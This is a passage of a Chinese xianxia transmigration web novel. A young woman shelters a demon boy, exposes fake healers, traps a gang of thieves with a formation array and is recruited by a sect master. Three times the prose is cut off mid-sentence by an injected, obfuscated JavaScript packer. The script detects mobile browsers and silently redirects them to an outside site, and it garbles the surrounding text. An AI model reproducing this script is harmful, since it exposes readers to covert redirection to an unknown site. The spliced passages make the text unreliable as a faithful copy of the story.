不然怎么解释他们这基本上是零基础的二人都对阵法别有所知? 既如此,倒是可以先对此好好研究一番。梁惜因把书摊开:“阿霄,你还知道多少,和我讲讲,我们一起学。” 接下来的几日里,梁惜因基本都在小院和重霄一同参悟阵法,练习调息,日子过得也还算是平静无波。直到今晨梁书芸来找她。 确认重霄回房后,梁惜因才上前打开了院门。只见梁书芸满脸忧色地站在门外,身后一如既往地跟着几个侍女:“三姐,怎么了这是?” 梁书芸拉住她:“四妹,你先跟我走,我路上说与你听。” 不止是她们,一路上撞见的人皆是行色匆忙,除了梁惜因有点印象但记不清名字的姨娘和兄弟姐妹,还有不少她见都没见过的下人。 ...全员出动了这是?什么事需要搞这么大阵仗? 梁书芸这时解释道:“六弟的病找了很多大夫都没法子,甚至愈加严重。冯姨娘便找了几位说是能包治百病的医修。” “应那医修所言,若要治这病,首先便要召集府中所有人来确定病的源头所在,”梁书芸眉头皱起,露出不赞同的神色来,“我从未听说过什么治病之法要如此兴师动众。” “我本是让侍女过来告知你的,想了想还是亲自来了。” “原来如此,多谢三姐了。”她都要忘了梁宣这小子还在生病了...想来梁允和冯姨娘也是实在没法子了,这才请了医修过来。 修士据所修不同,分为剑修、符修、阵修...而所谓医修,顾名思义,是以医术作为修行方式的修士。除非妖魔作乱,一般不轻易插手人间事。 联想了下在现世追剧时看到的那些白衣飘飘的修仙者,梁惜因竟生出了几分微妙的期待来。 7. 医修 等梁惜因一行人到了大堂,府中人已是基本到齐了。又等了片刻,梁允对身旁的几人道:“仙长,人都来全了。” 梁惜因也将目光投向那处,只见人群最前方的那三人身着白衣,头戴冠帽,穿着打扮瞧着是挺不俗,但面貌气度皆与凡人无异。非要说的话,也只是看着更精明了些。 行吧,在遇到叶天舟和杜昱后,她就该知道别对修仙界带那么大的滤镜了... 为首那人捋了捋半长的山羊胡,点头道:“时辰刚好。” 另两人听了,从随身携带的包袱中取出了个类似罗盘的东西递与他,山羊胡接过后又问:“六公子的头发可准备了?” “准备了准备了,都按仙长吩咐的做了。” 梁惜因循声望去,乍一眼都没认出来那是冯姨娘。前几日家宴上还打扮得光鲜亮丽的妇人此刻发髻散乱,眼下乌青,仿佛突然之间就老去了。 她连忙从袖中取出一个绣囊,小心翼翼的捧在手中递给山羊胡,嘴里还在恳求着:“仙长,求您了,一定要救救我的孩子,他还那么小...” 梁宜站在她身后,抽噎着道:“救救我哥哥...” 山羊胡抬手示意他们安静:“在下一定尽力。” 梁允拉住冯姨娘:“且看看仙长怎么做。”他的脸色也没好到哪去,尽显疲态。 冯姨娘抹了抹眼角:“是,老爷。”随后带着梁宜重新站回了人群中。 山羊胡把从绣囊取出的头发放到罗盘正中,又拿出一张符纸贴于其上。察觉到众人疑惑的目光,他清了清嗓子,煞有其事地解释道:“贵府六公子是受魔物侵袭才至卧床不起,那魔物极有可能还藏在府中,我此番便是要探测谁身上沾有魔息,好确定那魔物的方位。” 梁惜因此前就言梁宣怕不是冲撞了什么东西,果然如此,这倒霉孩子。只是这治病手法瞧着实在不像是什么医修,倒像是民间坑蒙拐骗的半吊子。 等等,他说...魔息?!梁宣是怎么被害的她不清楚,但梁府可确确实实是有魔族在的啊。想到小院内的重霄,梁惜因前所未有的紧张起来,要是真被发现,那可就是百口莫辩了。 心如擂鼓,她抿紧下唇,紧盯着前方对罗盘念念有词的三人,额上不自觉地渗出汗珠。 梁书芸见了,还以为她是害怕,握住她的手安抚道:“无事的,四妹,若真有魔物藏在府中,仙长也会将之赶走的。” 梁惜因更心虚了,就怕到时候连她也一起赶走了... 那三人念了半天,手中的罗盘也在不断晃动着,每晃一次梁惜因心中就更怕一分,好在预想中最坏的情况并没有出现。 山羊胡犹疑地盯着罗盘左看右看。奇怪,罗盘并未指向在场的任何一人便罢了,为何会一直颤动不止?就如受了什么刺激般。 虽说颤动的幅度不大,只是不时才猛烈晃动一下,但也足够令他惊异的了,他自出师以来,还是第一次遇到此种怪事。心内疑问再多,他依旧神色自若地道:“看来那魔物并不在府中,许是六公子于别处撞到的。” 梁惜因松了口气,还好还好,看来这确实是骗吃骗喝的半吊子没错了。 梁允和冯姨娘又凑上前去:“那仙长可还有别的法子?” 山羊胡捏着胡须道:“容我等细细思来。” 其余人见状,纷纷离开了。梁惜因和梁书芸也跟着人群走了出去,一路上听得不少抱怨之声。 “大清早把我们叫到这来,就为了这事?” “这三人真是医修吗,玄里玄乎的。” “还不是为了六公子,我昨日去看了,六公子现在那模样是真惨啊。” “要我说啊,这就是报应,没看他平日里有多嚣张吗。” “嘘,小点声。” ...... 梁惜因一路都心神不宁。此次没被发现实属运气好,下次要再有类似的事可就不一定了,看来梁府注定不是久留之地。 “四妹?” 梁惜因回过神来:“怎么了?” 梁书芸担忧地注视着她:“我见你神色不太对,叫你好几声都不应。” 梁惜因挤出一个笑容来:“无妨,就是昨晚没休息好,早上又出了这么件事,有些恍惚而已。” 梁书芸神色稍缓,正巧走到了岔路口,她便叮嘱道:“那你快些回去休息,勿要想太多,多思伤神。” 告别梁书芸后,梁惜因回到小院,刚打开门,听见动静的重霄就从屋内跑了出来,“姐姐!” 梁惜因蹲下身迎接扑来的小孩:“阿霄,我回来了。”她揉了揉怀中毛茸茸的脑袋,别的不提,这手感是真不错啊。 “姐姐有心事?”重霄看着她说。 “嗯。”梁惜因也不觉奇怪,重霄对她的情绪感知一向很是敏锐。 她本就没想瞒着他,便将方才发生的事都说与他听了。 “我当时就怕他突然指向我。”梁惜因此时仍觉后怕。 “这样啊。”重霄并未如她料想的那样跟着忧心起来,不仅神情没什么变化,反而还笑着安慰她说:“姐姐,不管他们再找多少人来查,都查不到我们这的。” “当真?”梁惜因半是迟疑半是惊喜地问。 重霄肯定地点了点头:“真的,姐姐,我不骗你。” “那再好不过了。”梁惜因这下是真的放心了,重霄没有骗她的必要,她相信他。 怎料下午就有不速之客找上门来了。 听到院外传来的敲门和吵闹声,梁惜因关上房门,又走去开院门。意料之外地见到了今晨的那三个半吊子和他们身后的冯姨娘。 她蹙眉道:“何事?” 冯姨娘语气癫狂,看上去随时准备扑上来撕碎她:“别装了,梁因!我儿子只不过跑到你这来闹了一通,你就要这般害他!他还那么小,就算再不懂事,那也是你的弟弟啊...你怎么能这么对他...” “姨娘知道你这些年受了委屈,但你为何偏要把气出在我的阿宣身上?这般恶毒,你倒还真不如就当个傻子!” 梁惜因默默往后退了几步,珍爱生命,远离神经病。 三人中年龄较小的那位拉住了她:“冯姨娘,你先冷静冷静。” 梁惜因颇觉无语,她问山羊胡:“这是何意?” 山羊胡说话前照旧捻了捻他的胡须,慢悠悠开口说:“梁四姑娘,在下回去后又算了一卦,卦象显示正是你害了六公子。” 你不是医修吗?还算起卦来了?? 梁惜因只觉着好笑:“那你说说,我是如何害他的?” “六公子发热当日便是与你起了冲突,除了四姑娘你还能有谁?定是你怀恨在心,又兼不满梁老爷对六公子的喜爱,于是用不知从哪学来的魔族邪术害了他。” 好家伙,这说起来一套一套的,她自己都要信了。就梁宣那性子,平日里得罪的人还少吗? “空口无凭,何况你早上不是已探查过了吗,我身上并无魔息。” “四姑娘你有所不知,有些邪术不需要借助魔息也能练就。”另一人答道。 “所以你们究竟想要如何?”她问。 “我要你为我儿子偿命!”冯姨娘死死瞪着她。 “人死了才叫偿命,大姐,你儿子现在还活着呢。” “你!什么大姐,我是你姨娘!”冯姨娘更气了。 梁惜因深吸一口气,放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358965|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他们讲道理,“梁老爷呢?” “梁老爷现在因公务外出,在下劝四姑娘还是早些老实交待为妙,省得还要劳老爷亲临。”山羊胡答道。 话说到这份上,梁惜因也基本搞清楚状况了。这三人是有点水平没错,但也仅限于此了。见他们所学的伎俩无用,又不甘就这么离去,所以就想随便抓一个替罪羊,也好再捞些钱。 而她身为久受冷落又恰巧在那日与梁宣有争执的梁四姑娘,简直是再合适不过的人选。冯姨娘救子心切,加上心里本就对她不满,自是他们说什么都会信。 而之所以挑这个点上门,则是他们明白梁允不是那么好糊弄的,想要速战速决。所以...梁府能不能不要什么三教九流的人都往府上请啊??好歹也是个大家族。 事已至此,他们摆明了是冲自己来的,只能先想方设法拖延一阵了。她镇定道:“无凭无据,我不会跟你们走。” 山羊胡斜她一眼:“四姑娘,在下劝你还是莫要多费口舌了。” 梁惜因一手扶着门扉,随时准备在他有动作之时将门关上。怎料山羊胡在原地静了几息,突然面露惊恐,伸出手指颤颤巍巍地指向梁惜因。 梁惜因警惕地盯着他:“作甚?” 山羊胡面上惊惧之色不减,眼眶瞪得极大:“鬼...鬼啊!!” 梁惜因疑惑地朝身后望了望,小院内景色如旧。她只听说过妖和魔,哪来的鬼啊? 另几人也都困惑地看向他,山羊胡不予理会,躬身对梁惜因行了个大礼:“梁四姑娘,小人有眼不识泰山,叨扰姑娘了,姑娘万万见谅!” 梁惜因:“...啊?” 他也顾不得梁惜因作何回应了,拉上另两人转身就跑。冯姨娘在原地愤愤不平道:“就这么放过这小蹄子了?” 山羊胡又过来拉她:“快走吧,大姐,别说了。” “什么大姐?!我不是大姐!” 梁惜因:“......”莫名其妙。 她关上院门走回屋内,重霄跑出来迎接她:“姐姐,刚刚外面是何动静?” 梁惜因不想让他知道这些糟心事,便说:“无事,一群奇怪的人而已。” 过了片刻,她又忍不住吐槽一句:“梁宣这病是真磨人啊。”整个梁府都被弄得不得安生。 重霄抬眸看她,一双眼睛黑白分明:“姐姐想让他病好吗?” “这小子虽然确实不讨喜,但这么一遭也够他受得了。”梁惜因揉了揉额角,“要是再治不好,恐怕就...到时府上只会比现今更乱。” 重霄“唔”了一声,“姐姐说的是。” 第二日上午,梁惜因便得知梁宣的病已大好了。 她放下手中的茶盏,奇道:“六弟病好了?” 梁书芸也感慨道:“是啊,一夜之间便好全了,真是万幸。” “如何好的?可是那三个医修?”她问。 “不知。”梁书芸摇头道:“那三人昨日下午就离去了,还没来得及再找人看,六弟就已无恙了。” 梁惜因接着问:“他们离开了?为何?”她那小院实在是信息闭塞。 “是他们主动提的。这几人也不知看到了什么,直说惹到了不得了的东西,收拾东西后立马就离开了,冯姨娘想留都没有留住。” “这样啊...”她也很是不解,本以为昨日免不了一番纠缠,怎料那人好端端地就在青天白日说起鬼来了。不做亏心事,不怕鬼敲门。也不知山羊胡此前做了什么害人的勾当,这下被找上门来了,倒也是凑巧帮了她一把。 “我正要去看望六弟,四妹你此次可要与我同去?” 梁惜因思量须臾,应道:“也好。” 8. 抓贼 冯姨娘的院子在众姨娘中已算得上是宽敞华美的了,但在眼下这么多人来拜访的情况下,仍显得狭小了。 冯姨娘站在人群中,她面上疲惫尚未褪尽,但这丝毫掩饰不住她的喜色。面对前来道喜的众人,她一面应付着一面双手合十道:“上苍保佑,真是上苍保佑啊。” 不知是何人眼尖唤了句:“三姑娘。”周遭的人悉数向这边投来视线。 “三姑娘和四姑娘也来了啊。” “这做姐姐的就是上心。” 冯姨娘自是也听到了,她瞪了梁惜因一眼,明显还在怨恨她。也不知那三个已然飞速逃离的“医修”和她说了些什么,她终是没有上前来,而是吩咐一个侍女带他们进屋。 屋内就要安静多了,梁惜因远远地就见床上躺着一人,脸色蜡黄,双颊凹陷,竟是分毫都看不出前些时日里那嚣张跋扈之样。 见有人来,他动了动唇,喊道:“三姐。”接着又心不甘情不愿地唤了一声:“四姐。” 立在床边的梁宜也道:“三姐,四姐。” 梁惜因点头以示回应。虽然但是,这两小子现在看着顺眼多了。 梁书芸细细关怀了一遍梁宣的饮食起居。梁宣眨了眨眼,神情茫然痛苦:“鬼、鬼...有好多鬼要来杀我,我好怕...” 梁书芸忙安抚他:“都过去了,六弟,别想这些了。” 梁惜因则是心下思忖,又是鬼?他和那山羊胡别是撞上同一个东西了吧? 梁宣体力不支,说了一会话就困倦了,梁书芸和梁惜因也便告辞离去了。 路上梁书芸对她说:“这下阿爹可以安心了。” 梁惜因赞同道:“是啊。”这家人总算是能安分一些时日了。 日子无波无澜地过着,令梁惜因惊喜的是,她现在已能凝出一些微薄的灵力来了。 运转着流经周身的灵息,梁惜因再次尝试让灵力缠绕于指尖。这次不仅动作更熟练,凝出的灵力也更为纯净。 重霄在旁赞道:“姐姐好生厉害。” 梁惜因嘴角翘起,但还是谦虚道:“也是阿霄提点的好,何况这也算不上什么。” “非也。”重霄语气认真,“凡人修仙,多的是耗尽一生都不能领悟其中真意,以至庸碌至死者。” “而姐姐年岁尚轻,能在数月之内修行至这般境界,实属天赋异禀。” 梁惜因理了理颊边碎发,低眸笑道:“哪有这么夸张啊。” 但她也清楚重霄说得并没错,她是知晓修仙的难度的,是以从一开始就做足了心理准备,但实际练起来却比她想象的要容易得多。她就说嘛,身为穿越者,怎么能没点金手指在身上呢。 重霄一直笑眼望着她:“姐姐,我说得没错吧?” “是,阿霄还是这么会说话。”梁惜因调侃道。 几个月以来,重霄已从最初的孩童模样长成了一个半大少年。眉目舒展开来,面孔间的稚气褪去,更多了几分少年人的俊朗和魔族特有的邪气,就连身高也是隐隐超过梁惜因了。 起初她还很是惊异,这成长的速度...也太快了点吧??完全出乎她的预料。后来她就渐渐理解并接受了,可能这在魔族就是正常现象,用不着过于大惊小怪。 重霄对此也是接受良好,只是有一点让他很是不满——他不能和姐姐一起睡觉了。 是的,自从初见的那个雷雨夜始,他就一直借口害怕来和梁惜因挤在一张床上睡觉,但现在不管他说什么梁惜因都不依了。依稀记得不久前的夜晚,他抱着被子站在屋门口,望着坐在床上的梁惜因:“姐姐...” 梁惜因面无表情地道:“不行,这床真的睡不下了。” 重霄不依:“睡得下的,姐姐。我就睡边上,占不了多少位置的。” 梁惜因偏过头去不看他:“那也不行,你以后要习惯一个人睡。” 重霄嗓音带上祈求,故技重施道:“姐姐,我害怕...” 梁惜因直接躺下了,扯住被子盖过头顶:“我睡了。” 重霄:“......” 一连几晚都是如此,最终他也不得不接受这个残酷的事实。 思及此,他不禁叹了一声。显然人类的悲喜并不相通,梁惜因此时心情就很是愉快。 她用手比了比两人的身高,“阿霄最近好像又长高了,走,姐姐带你出门买衣服。” 说着,她熟练地拿出妆粉来给他遮掩。不过这次他们没有再往那狗洞去了,而是走向不远处的一株银杏树。 重霄走在前面,借着那树三两下翻上院墙,又接过小心翼翼攀上银杏树枝桠的梁惜因。确认她坐好后,重霄跃身跳下,站在墙根处,伸手将梁惜因也抱了下来。 两人配合默契,一看这墙就没少翻。毕竟孩子大了,再带着他爬狗洞总觉得有几分丢脸... 时值金秋,两人翻墙的动静震落了不少银杏叶。重霄凑近几分,从梁惜因发间取下一片叶子。 骤然放大的俊脸令梁惜因呼吸微微一滞。哪怕相识了这么久,她依旧会不时被重霄的长相惊艳到。 重霄笑着将那叶子递到她面前:“给姐姐。” “给我的?”梁惜因伸手接过,“正好我拿回去做书签。” 重霄听后说:“那我也要。” 梁惜因失笑,怎么还跟个小孩子一样。她蹲下身子,在地上的落叶堆中挑了一片出来,看了看又觉不甚满意,重新挑拣了半天才又选出一片。 “那等我回去做好了,这片便给阿霄。” “好。”重霄应道,面上的笑意一直未曾落下。 二人在皇城内边逛边寻着合适的成衣铺,虽说之前去的那几家的店家都很热情,但她都没有再去过第二次。 原因无他,若是让店家看到自己接待过的顾客时隔没多久就变化如此之大,估计要精神恍惚了。 正走着,忽见前方围了一群人,梁惜因凑过去看了一眼,了然道:“是通缉令啊。” 众人谈论的主要是木板最中间那张,画上那人獐头鼠目,胡须盖住了半边脸,一道疤痕自左眼斜贯而下。画像旁注着他的名字:张向生。 “就是他啊,最近在城内偷钱的那个?” “是啊,偷了要有十几家了吧,可怜我那邻居娶亲用的钱也被偷喽。” “据说他身手好得很,官府抓了这么久都拿他没办法。” “应该还有同伙吧,他一个人哪能有这么大本事?” “......” “是小偷啊。”梁惜因也没怎么放在心上,只是心内感慨道:看来这皇城也并不安宁啊。 两人继续走着,在城南寻了一家成衣铺进去。店内人并不多,店家知晓是要给重霄挑衣服后,回身在店内取了好几套过来,一一给他们介绍着。 “这长袍是用云罗制成的,上好的料子。而且公子这般俊朗,穿玄色再适合不过了。” 梁惜因听他激情四射地讲着,正要开口回话,却忽察身后有一道阴影。她以为自己挡了别人的路,就往旁边让了让。 那人从她身后走入店中,四下张望一番,喊道:“快拿身衣服,赶紧的。” 店家听了,连忙招呼店内的伙计道:“你去招待下这位客官。” 伙计上前说:“客官要买什么衣服?颜色和布料上可有要求?” 那人语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358966|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐:“什么都行,快点!” “是、是。”伙计显出为难的神情,匆匆去取了一件灰色外衫来,“客官觉着这件如何?” 梁惜因察觉出些许不对劲来,正常人买衣 服哪有像他这般急吼吼的?不挑衣服,反倒急着换衣服。她向那人投去视线,心中疑虑更甚,这好端端的,缘何要戴面罩和斗笠出门? 那人一把将衣服拿过套上,看了两眼后觉得没问题,便从袖中取出碎银抛给伙计,“不用找了。”说完就转身大步离开了。 在他经过身侧之时,梁惜因装作不经意地瞥了一眼,因怕被发现,很快就收回目光了。但这已足够她看清他左眼上那道隐约的疤了。 不会吧...张向生?这么巧? 不及细思,她叮嘱了重霄一声,让他在店内稍候,随后便追了出去。 那人已走出一段距离了,且一直很警惕地注意着周遭。梁惜因加快步子,不远不近地跟在后面,想确认一下心中猜想。 那人向前走着,许是一时没注意,被过路人撞了一下,他回头瞪了那路人一眼,继续赶路去了。但梁惜因没再跟上去了。 自踏入修仙一途以来,她的五感都有了提升。因面罩遮掩,她看不见那人是否有在说话,但隔着这段并不算远的距离,她清楚地听见了那句“酉时一刻,南林槐树。” 她转身跑回成衣店,重霄正站在店门口等她,见她来了,笑着向前走了几步:“姐姐,你去哪了?” 梁惜因面颊微微泛红,一边调整着呼吸一边兴奋地对他说:“阿霄,你想不想干件大事?” 重霄:“?” 他并未多问,甚至无片刻迟疑就答应道:“好,我和姐姐一起。” 店家从店内探出个脑袋来:“两位客官,那衣服...” 梁惜因从钱袋中取出一锭银子递给他:“方才你说的那几件都给我包起来,我晚些时候来取。” 店家顿时两眼放光:“诶,好嘞,两位慢走。”远远的还能听他在后面喊:“两位常来啊——” 梁惜因汗颜,又转身向那店家招了招手,表示自己听到了,快别喊了。 接着她问重霄道:“现在是什么时辰了?” 重霄抬眸看了看天:“差不多申时三刻。” “来得及。”梁惜因说。 南林,应是指皇城南郊的那片树林,林中定然不止一棵槐树。但既是被他们用作接头地点,必然会有些特征在。 到了林中,梁惜因分头和重霄寻起槐树来,她先是让找最大的那棵,辨识度会高一些。 在林中转了半圈,她在其中一棵槐树前停住了步子。这树看着有些年头了,枝干粗壮,高大茂盛。仅凭这些她尚不能确定,直到她又观察到在树干半人高的地方有一处划痕。 划痕并不显眼,但是很深。梁惜因用手摸了摸,十分确定这是人为刻上去的。她找回重霄,说:“应该就是这棵了。阿霄你别走远,有人来了告诉我一声。” 重霄应声:“好。” 话落,梁惜因从地上拾起根树枝,围绕着槐树在地面上画了起来。她心跳很快,现在做的这一切基本都是冲动使然,实际上她心中一点把握也无。 回想着书中阵法的图样,梁惜因不时修改着地面上的痕迹。至于那人到底是不是张向生、会不会到这来、阵法又能不能生效...这些全都是未知数,只能看运气了。 梁惜因拭了拭额角的汗,再三确认无误后,把那些较明显之处都用落叶遮盖上了。她唤回重霄,让他把自己拉上不远处的另一颗树,借着浓密的枝叶遮掩二人的身形。 能做的都做了,接下来就要看天意了。 9. 奇逢 树上的空间本就狭小,再加上梁惜因生怕一个不稳掉下去,是以一直握着身后重霄的小臂。两人距离极近,重霄甚至能闻到她发上若有若无的香气。 他抿了抿唇,偏过头低声唤道:“姐姐...” “嗯?”梁惜因刚应了声,又立马示意他噤声,“嘘,有人来了。” 话音刚落,她就见一人慢慢走了过来,边走边观察着四周。梁惜因在树上屏住了呼吸,在想万一被发现了是打还是逃...虽然大概率打不过就是了。 好在并未被发现,梁惜因悄悄松了口气。 不多时,又陆续走来两个人,而她此前遇到的那人则是最后一个到的。四人都戴着斗笠,梁惜因在树上看不清他们的脸,还是通过他身上那件灰色外衫认出来的。 其中一黑衣人说:“都拿出来吧。” 余下三人便都取出钱袋来,包括他自己也是。四个钱袋轮流在几人手中过了一遍,一人掂量着说:“还是张哥本事大啊。” “比不上以前喽,现在上了那破板子,官府查得紧。” 听到这,梁惜因已能确定这人便是那张向生了,她不再迟疑,趁着底下四人分赃之际,凝出灵力注入到先前画好的阵法当中。 光华流动间,阵成。平地升起一道透明的屏障将几人围困在其中。 张向生察觉出了不对劲,他试着向旁走了几步,结果当然没能成功。他一掌拍上空中那道无形的屏障,困惑之中还夹杂着震惊与恐惧:“什么玩意这是?” 另三人也做出了同样的尝试,无一例外都失败了,“他姥姥的,这什么破东西!” “这咋整,出不去了。” “他娘的我哪知道咋整,跟撞邪了一样!” 树上的梁惜因忍不住以手掩唇道:“成了!”看了那么久的阵法书,这还是她第一次实践,没曾想效果这般好。 她回头和重霄分享这份喜悦:“阿霄,阵成了!” 两人本便靠得极近,她这一回头,发丝擦过重霄的脸颊,姣好的面容近在咫尺的呈现在了他面前。重霄想往后拉开距离,但身后就是树干,退无可退,他只能移开视线,回应道:“嗯,我就知道姐姐能做到。” 下面几人听到动静向上望去,不出所料地发现了他们的身影。 “喂!树上那两个!干什么呢鬼鬼祟祟的。” “就是你们搞的鬼吧,胆子不小啊!” 此时也没有再藏下去的必要了,梁惜因清了清嗓子,打算潇洒一跳来个闪亮登场,在看清距地面的高度后又瞬间怂了。 她攀着树枝,对身后之人说:“阿霄,要不你先下去?” 重霄失笑:“好。”他翻身跃下,又轻柔地将梁惜因扶了下来。 梁惜因在地面上站稳,一抬头就对上了那四人欲言又止的复杂目光。 梁惜因:“......” 那四人:“......” 她复又气势十足地说:“你们几个在城中偷盗财物之时,可曾有想过今日?” 张向生已把面罩摘下,他半张脸都被胡子盖住,与通缉令上所画的如出一辙。他目露凶光道:“哪来的小娘们,还不快把爷几个放出去!” “这话你还是留着对官府说吧。”人赃并获,她正要回身去城中报案,却忽觉自己与阵法的连接断了。 这困缚阵消耗的灵力比她想象的还要大。她是第一次施阵,对这些没什么概念,实是没预料到以她现在的灵力只能维持这么短的时间。 那四人也意识到了什么,张向生试探着迈出一只脚来,没被挡住。他又收回去再试了一次,依旧十分顺畅,没有丝毫阻隔。 梁惜因:“......” 张向生面上一喜,大笑两声道:“小娘们,叫你不识相,这下有你受的!” 他招呼着身后的三人就要冲上前来,却被一道更为强劲的屏障阻住了,其冲击力之大,令他们全都跌坐在地。 与此同时,一道飞泉漱玉般的声音自身后响起:“这就想走?” 梁惜因回头,只见林中走来了两个男子,俱是白衣如雪,气质出尘。适才说话之人嘴角轻扬,如墨的黑发用银白发带简单系着,眼尾上挑,面如冠玉,随性之中又带着几分漫不经心。 与他并肩的那人样貌清冷,薄唇紧抿,淡漠地环视着周遭。 重霄见状,默默收起了掌中黑雾。梁惜因则是心内慨叹,这才是她想象中修仙之人应有的样子啊。 四人从地上爬起,张向生气愤喊道:“你们他娘的又是什么人?!” 刚刚说话的白衣男子又向前踱了几步:“向生啊向生,你这回怕是难逃牢狱之灾喽。” 张向生朝地上啐了一口:“去你爷的,老子跟你很熟吗!还不快把爷几个给放了!” 那人并不理会,又一挥手,他们几人便连声音都无法从阵中传出来了。 二人选择性无视了阵中四人的原地跳脚、无能狂怒,而是向梁惜因走了几步。 布阵的那人走在前面,略一施礼道:“玄晖宗天璇峰,殷照。” 另一人紧随其后说:“天玑峰,沈逍。” 梁惜因心下微惊,回了一礼:“原是殷峰主和沈峰主。”这两个名字她俱在书中看到过,玄晖七峰中的两位现任峰主,修为高深,颇具名气。 她这运气简直了...本以为根本接触不到的人,这一出门就遇上了俩。 殷照笑意加深,并不意外梁惜因知晓他们的名号:“不知姑娘出自何门何派?” “无门无派,一介凡人而已。”梁惜因如实道。 二人对视一眼,沈逍说:“无门无派?那姑娘又是如何施展出适才之阵的?” 梁惜因有几分不好意思。她再清楚不过,自己那点招数在这二位面前不过是些不值一提的雕虫小技,“嗯...那是我自学的。” “自学?”殷照眸中兴味更甚,“还未曾问过姑娘年岁姓名。” “我是梁令公府上的梁因,今年刚满十六。”说完又侧头介绍道:“这位是舍弟...梁霄。” 殷照点头:“原是梁府的小姐公子。” 沈逍看他一眼,说:“殷峰主此次下山收获不小。” 殷照摆手,却抑制不住上扬的嘴角:“诶,先别这么肯定。”他又仔细端详了遍梁惜因,只觉越看越是满意,“梁姑娘,你有这等天赋,要不要考虑入我门下修行?” 梁惜因一怔,还有这等好事?!那她岂不是可以离开梁府了? 沈逍眼中也带上赞许,缓缓道:“阵法奇才,百年难遇,和殷峰主当年比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358967|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来也是不遑多让。” 殷照深怕梁惜因会不同意,又说:“是啊,梁姑娘,你这天分不来学阵法简直是浪费。” 他每次下山都会留意一番民间有无学阵天赋之人,原因无他,自两百多年前的那件事后,阵法一道日益凋零,人才稀缺,作为如今为数不多的阵修中的佼佼者,他自是不能眼睁睁地看着这一道衰落下去。 这么好的机会,梁惜因当然不会拒绝:“既如此,还请殷峰主容我今日回去准备一番。” 殷照满面喜色:“自然自然,明日一早我便亲自登门拜会。”捡到宝了啊这是! 这般决定完后,几人才记起还有四个待处理之人。张向生和其余三人见他们终于把目光分向这边,顿时又破口大骂起来,当然,一句话都没有传出来。 殷照五指一绕,掌心便出现了一道由灵力凝聚而成的锁链,他将这四人的手腕一个接一个的缚住,对二人说:“梁姑娘,梁公子,这几人交给我们便好。” 一个疑问在梁惜因心头升起:“二位峰主是如何得知这一地点的?” “追踪符。”沈逍话音刚落,被捆住的黑衣人肩上就显现出一道符咒来。符咒现形后,又从那人身上脱离下来,重新变为符纸飞回到了沈逍手中。 那黑衣人:“......”他好想逃,但逃不掉。 “原是如此。”梁惜因看清了全过程,迟疑着问道:“不过...修士不是不能轻易干预人间事的吗?” 被抓的四人疯狂点头,只觉着这几人是吃饱了撑的。 殷照冲她眨了眨眼:“顺手的事,怎么能叫干预呢?而且他们不是梁姑娘和梁公子设计抓获的吗?我们只是帮了些小忙。” 梁惜因听懂了他的言下之意,装作恍然大悟道:“是哦,有道理。” 那四人:“......”有道理个鬼啊!! 殷照又用灵力在地上画了几道纹样,阵法生效,几人的身影逐渐隐没:“我们先去趟官府,乖徒儿,明日见。” 沈逍:“......” 梁惜因:“......”这人是不是太心急了些... 林中重又归于寂静,夜色笼罩了大地,疏星淡月下,一缕微风挟着草木的清香,自二人中间穿过。 梁惜因蓦地生出了种不真切感,方才的一切都发生的太快了,丝毫没有给她留下喘息的余地。 玄晖宗...修仙界第一大宗门,也将成为她的师门了吗?她想向重霄再确认一番,却见少年低着头,不知在想些什么。 她心中一紧,怕他觉着自己被忽视了,连忙牵住他的手问道:“怎么了阿霄?不高兴吗?” 重霄抬头,眼瞳中尽是她的身影,他嘴角擒着笑意说:“怎会,姐姐此番能入宗门修行,我替姐姐高兴还来不及。” 重霄能感知她的情绪,她又何尝察觉不到此时他心中的不安。梁惜因隐约猜出了原因:“阿霄,不必忧心,我去哪都不会抛下你的。” “当真?姐姐可要说话算数。”重霄眼中闪烁着微光。 “自然是真的,你看我何时骗过你。”梁惜因答得很快。 重霄没回话,只是默默注视着梁惜因,而梁惜因也坦然回望着他。片刻后,重霄喉间溢出笑声,紧紧地回握住了她的手,“好。” 10. 新篇 青山巍巍 殷照说次日来访,果然一早就来了。 梁惜因刚起身没多久,就听门外传来匆忙的脚步声,侍女隔着一段距离喊道:“四小姐、四小姐,有贵客。” 殷照跟在后面道:“诶,小声些,我就来随便看看。” 等到了小院门口后,他又陷入了沉默:“......” “你们就让我徒儿住这啊?” 一旁的梁允陪笑几声:“仙长莫要误会,这是小女自己的选择。” 殷照无语:“你看我像是很好糊弄的人吗?” 梁惜因在门后听得好笑,她推开院门,一一行礼道:“殷峰主,父亲,三姐。” 殷照上前扶起她:“免礼免礼。”他随着梁惜因踏入院中,这一看又是忍不住说:“我是真没想到你们梁府中还有这种地方,竟还让我的乖徒儿住这!” 